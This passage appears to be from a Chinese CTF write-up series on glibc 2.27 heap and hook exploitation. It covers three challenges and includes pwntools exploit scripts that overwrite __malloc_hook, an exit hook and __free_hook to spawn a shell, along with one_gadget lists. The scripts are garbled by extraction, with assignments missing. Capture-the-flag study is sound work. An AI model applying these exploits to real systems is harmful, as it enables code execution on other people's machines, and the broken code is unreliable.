1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from  pwn import  *'amd64' ,os = 'linux' ,log_level = 'debug' )"./HITCON_2018_children_tcache" )"/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so" )"/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so" )"LD_PRELOAD"  : libc.path})"node4.buuoj.cn" ,25931 )def  debug ():"b main" )def  add (size,content ):"Your choice: " ,'1' )"Size:" )str (size))"Data:" )def  show (idx ):"Your choice: " ,'2' )"Index:" )str (idx))def  free (idx ):"Your choice: " ,'3' )"Index:" )str (idx))''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints:   rsp & 0xf == 0   rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints:   [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints:   [rsp+0x70] == NULL ''' 0x4f8 ,'a' )0x28 ,'b' )0x28 ,'c' )0x4f8 ,'d' )0x18 ,'/bin/sh\x00' )6 for  i in  range (7 ):2 )0x28 -i,'b' *0x20  + '\x60\x05'  + 'a' *j)1 0 )3 )0x4f8 ,'a' )1 )6 ).ljust(8 ,'\x00' )) - 0x3ebca0 "libc_base==>0x%x"  %libc_base)'__malloc_hook' ]0x10a38c 2 )0x38 ,'a' *0x30  + p64(mlh))0x28 ,'a' )0x28 ,p64(ogg))"Your choice: " ,'1' )"Size:" )str (0x60 ))
七十六、hfctf_2020_marksman image-20211104212411070 
64位,保护全开,而且运行了一下,题目给了小礼物:libc地址
image-20211106145934254 
而且程序很简单,可以看见,v6输入一个值,显然是输入一个地址的,然后底下可以修改三个字节内容,所以要getshell肯定是要想办法利用这三个字节把某个会被调用的libc内容修改为one_gadget,但是要想修改内容就要先通过check
image-20211106145902768 
image-20211106150044423 
check里面不允许写入一些字节,可以发现这些字节就是one_gadget的字节,也就是说是不允许直接写入这些one_gadget的。所以要转换一下思路
思路一 利用IDA查看这些one_gadget,去看看这些地址的上方有没有其他不会影响的操作,然后把地址修改为该地址,最终也会执行到one_gadget
image-20211106150346116 
比如这个one_gadget,在上面是一个执行close的函数指令,显然是不会影响到one_gadget的,所以可以把这个地址作为修改地址,我们可以修改exit的__rtld_lock_unlock_recursive,这也是一个类似hook函数的东西,exit退出时会被执行到。所以可以修改这里的内容
image-20211106153902758 
image-20211106160251870 
另外值得注意的点(我踩坑了):这边的v6是用atol转换出来的,所以输入时直接用str转为字符串输入,如果使用p64打包,会变成16进制数,atol会识别不了,直接返回0
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from  pwn import  *'amd64' ,os = 'linux' ,log_level = 'debug' )"./hfctf_2020_marksman" )"/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so" )"./libc-2.27.so" )"/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so" )"LD_PRELOAD"  : libc.path})''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints:   rsp & 0xf == 0   rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints:   [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints:   [rsp+0x70] == NULL ''' "0x" )int (p.recv(12 ),16 ) - 0x809c0 "libc_base==>0x%x"  %libc_base)0x10a387 "ogg==>0x%x"  %ogg)0x81cf60 "shoot!shoot!\n" ,str (exit_hook))"biang!\n" , p8(ogg&0xFF ))"biang!\n" , p8((ogg&0xFF00 )>>8 ))"biang!\n" , p8((ogg&0xFF0000 )>>16 ))
思路二 image-20211106154641512 
禁用的只是常见的one_gadget,可以增加参数--level 2查看更多的one_gadget,但是约束更多,而其中上图圈出的也是可以getshell的one_gadget
image-20211106161834320 
另一个可以修改为one_gadget的地方就在不断追踪dlopen这个函数时,可以发现,在_dlerror_run+96的地址调用_dl_catch_error@plt
image-20211106162708556     
image-20211106163050236 
把这里的got表内容修改为one_gadget即可,没具体写exp,但是过程已经详细说明
image-20211106163226205 
当然前提是RELRO没开全,允许修改libc里面的got表
七十七、hfctf_2020_sucurebox 漏洞在 size 限制时,可以存在整数溢出,可以让 size 成为一个大数。
image-20230201184708105 
配合写的函数,可以达到任意写的地步。
image-20230201195052771 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from  pwn import  *'amd64' ,os = 'linux' , log_level = 'debug' )'./hfctf_2020_sucurebox' )0 if  DEBUG:"/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so" )"/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so" )"LD_PRELOAD"  : libc.path})else :'node4.buuoj.cn' 26001 "./libc-2.27.so" )def  debug (info="b main"  ):def  choose (choice ):b"5.Exit\n" , str (choice).encode('ascii' ))def  add (size ):1 )b"Size:" )str (size).encode('ascii' ))def  edit (idx, offset1, offset2, content ):3 )b"Box ID: \n" )str (idx).encode('ascii' ))b"Offset of msg: \n" )str (offset1).encode('ascii' ))b"Len of msg: \n" )str (offset2).encode('ascii' ))def  show (idx, offset1, offset2 ):4 )b"Box ID: \n" )str (idx).encode('ascii' ))b"Offset of msg: \n" )str (offset1).encode('ascii' ))b"Len of msg: \n" )str (offset2).encode('ascii' ))def  free (idx ):2 )b"Box ID: \n" )str (idx).encode('ascii' ))0x420 ) 0x420 ) 0 )0x420 ) 0 , 0 , 8 )b'\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x3ebca0 "libc_base==>0x%x"  %leak)'system' ]'__free_hook' ]4294963201 ) b'Key: \n' )24 ).strip().split(b' ' )for  i in  range (len (key)):int (key[i], 16 )print (key)0 ] + (key[1 ]<<8 ) + (key[2 ]<<16 ) + (key[3 ]<<24 ) + (key[4 ]<<32 ) + (key[5 ]<<40 ) + (key[6 ]<<48 ) + (key[7 ]<<56 )print (hex (key))2 , free_hook, 8 , p64(sys))'/bin/sh\x00' b'' 0x420 )b'Key: \n' )24 ).strip().split(b' ' )print (key)for  i in  range (8 ):int (key[i], 16 )ord (binsh[i]) ^ key[i])3 , 0 , 8 , binsh_enc)3 )